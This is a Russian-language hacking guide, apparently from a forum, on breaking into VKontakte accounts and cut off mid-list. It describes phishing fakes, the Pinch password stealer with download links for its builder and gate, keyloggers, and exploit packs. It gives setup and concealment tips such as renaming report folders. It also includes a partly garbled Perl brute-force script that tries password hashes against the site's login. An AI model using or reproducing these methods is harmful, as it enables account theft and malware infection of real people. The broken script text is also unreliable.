Как взломать Контакт
В данной статье, попытаюсь рассказать о возможных способах взлома анкет "ВКонтакте".
Итак, что же нам потребуется:
Умение настраивать пинч (если это у вас уже получилось, то остальные 2 требования можно не смотреть)
Прямые руки и хотя бы капелька мозга!
1 Способ - Взлом мыла:
Если мы его знаем то уже все проще, ведь имеется как минимум 15 методов
взлома почты. Но есть и один минус, если пароль "корявый", он
разумеется надежный, но с его восстановлением проблемы, когда такой
высылают на почту, то он принимает "левый" вид, и соответственно не
работает. Не в этом суть, поэтому останавливаться не будем.
2 Способ - Фейк: Достаточно простой способ, кидаем ссылку жертве любым способом(ася, через лс и тд), скачать его можно по
этой ссылке.
3 Способ - Троян: Этот способ мы разберём по пунктам:
а) Скинуть "чистый" файл, либо ссылку на загрузку трояна, но тут еще
надо чтобы пользователь его запустил. http://slil.ru/25774480 - здесь
лежит билдер пинча, а здесь парсер http://slil.ru/25774491 , если вы
захотите чтобы отчеты шли на гейт - вот подходящий от Генома -
http://slil.ru/25774495
б) Кейлогер - менее полезный, но
если жертва его "словит", и вы покопаетесь (причем очень долго) с
отчетом, то пароль получите 100%
в) Сплоит, тут ничего сложного нету, НО ЕСТЬ МИНУС! Паблик сплоиты пробивают в основном, примерно, 6/10.
Советую армитаж (айс пак тоже в теме). Прост в настройке, нужно только
создать базу мускуль(делается в пару кликов), и отредактировать файлы
(db.php config.php), после того как зальете на хост, выставляем нужные
права, на папку load - 777. config.php - 777
Скачать 3 связки можно по ссылке http://slil.ru/25776403 - здесь лежат мпак, айспак и армитаж
Когда будите настраивать пинч, устанавите права на гейт 775, на папку в
которую будут идти отчеты - 777, и не забывайте что не надо называть
папку с отчетами OtchetyOTpincha, имхо палевно, лучше назовите 404 или
еще как, ну чтобы внимания не привлекало. Папку в которой будет лежать
сплоит, тоже
переиминуйте на что-нибудь типа myphotos и тд. т.к.
люди будут эту ссылку себе в браузер пихать, не нужно что бы там было
написанно EXPLOIT - лишнее палево ни к чему.
Идем дальше...
Надеюсь, пинч уже настроен на гейт или почту, желательно что бы он еще и закриптованный был.
Заходим по ссылке на файл install.php нашего сплоита, а потом идем в
админку, устанавливаем настройки, выбераем файл который будет грузится
жертве, теперь он будет лежать в папке load под именем file.
Кидаем ссылку жертве, и ждем с надеждой на то, что ее пробьет и отчет с заветным паролем придет к нам.
4 Способ - Брутфорс: Брутфорс, как всем известно - перебор паролей. Способ долгий, и не всегда сработает (нп-р в случае пароля D5&%-AefV)
Для этого брутфорсера нам потребуется активперл скачать мона тут
http://download.softportal.com/softw…ctiveperl.html либо по ссылке
http://www.denwer.ru/packages/perl.html
Code
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
open (pass, "create(&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0rn”.
"Host: vkontakte.rurn”.
"Accept: */*rn”.
"Content-Type: application/x-www-form-urlencodedrn”.
"User-Agent: Mozillorn”.
"C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn”.
"Connection: closernrn”;
$answ = ;
close $sock;
print "$pass $answ”;
if ($answ =~ /302/){
open (good, ‘>>good.txt’);
print good "$id:$pass:$md5n”;
print "$id:$pass:$md5n”;
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Не забудьте сменить разширение на brut.pl
$dic = ‘passl.txt’; #паслист для брдутфорсера
$id = 1; #айдишник цели(его можно взять из адресной строки когда вы зашли на страницу жертвы)
$mail = ‘мыло’; #мыло, значек @ меняем на %40
$threads = Х; # где Х - кол
...
Читать дальше »
